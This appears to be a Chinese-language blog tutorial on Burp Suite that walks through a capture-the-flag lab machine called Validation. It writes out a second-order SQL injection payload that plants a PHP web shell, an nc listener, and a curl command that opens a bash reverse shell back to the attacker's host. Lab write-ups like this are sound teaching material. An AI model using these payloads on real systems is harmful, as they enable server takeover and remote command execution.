Burp Suite是一個非常強大的工具,提供了許多功能能讓使用者進行攻擊,例如XXE(XML external entity injection )、reverse shell或是LFI(Local File Inclusion),都能夠利用此工具。
在Kali裡已經有內建Burp Suite,它有圖形化介面易於使用,目前打了50多台靶機最常使用三個它的功能,第一個是proxy,它作為一個 Web 代理伺服器運行,可以攔截、檢查和修改通過的流量,了解有哪些參數送至目標。
第二個為repeater,它可以用來手動測試應用程式的簡單工具。我們可以修改對伺服器的請求,重新發送並觀察結果,例如把檔案路徑改成目標裡的某個檔案位置(LFI),或是在參數裡加入指令上傳reverse shell,讓目標反彈shell至本地。
最後一個為decoder,可以將編碼轉回原始數據或進行將資料編碼的工具。如果想將url base64轉換,就可以利用這個工具,或是直接在terminal使用base64
這個指令。
接著,我利用Validation這個靶機解說,目前已知目標的port 80是開啟的且存在目錄/account.php、/config.php以及index.php,利用burp suite的proxy設置攔截連線。
從結果發現 http://10.10.11.116 ,這個網站有兩個參數可以輸入,為username以及country。右邊欄位顯示回傳的response,set-cookie值為21232...,我們進一步將cookie改成這個,並且傳送至account.php,account.php顯示已經輸入過的user。
接著,在country=Brazil後面加'
,試試看是否會有error,如果成功代表存在SQL injection的漏洞。
結果顯示錯誤,那我們再進一步寫一個php檔上傳至目標靶機,做second order SQL injection。將country=Brazil'
改成county=Brazil' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'-- -
INTO FILE
指定將結果輸出至某個檔案,這裡我們select一個參數包含cmd的php檔案,並且輸出至目標靶機的/var/www/html/shell.php裡。
因為這個弱點是second order SQL injection,second order的意思就是將我們的惡意檔案放至目標的資料庫裡執行請求時就會啟動惡意的程式碼。因此,我們需要先訪問account.php查詢使用者,就能觸發上傳我們的php檔。
瀏覽完 http://10.10.11.116/account.php 後,我們試著瀏覽http://10.10.11.116/shell.php ,並帶入參數id查看目前使用者是誰。
目前的使用者為www-data。
接著,我們傳送reverse shell取得存取權
nc -lvnp 4444
先監聽將要連線的port,接著開啟另一個terminal向/shell.php發送請求,並執行reverse shell的paylaod。
curl http://10.10.11.116/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/[ip]/4444 0>&1"'
如果看到上述畫面代表執行成功!
今天我的介紹到此結束,謝謝大家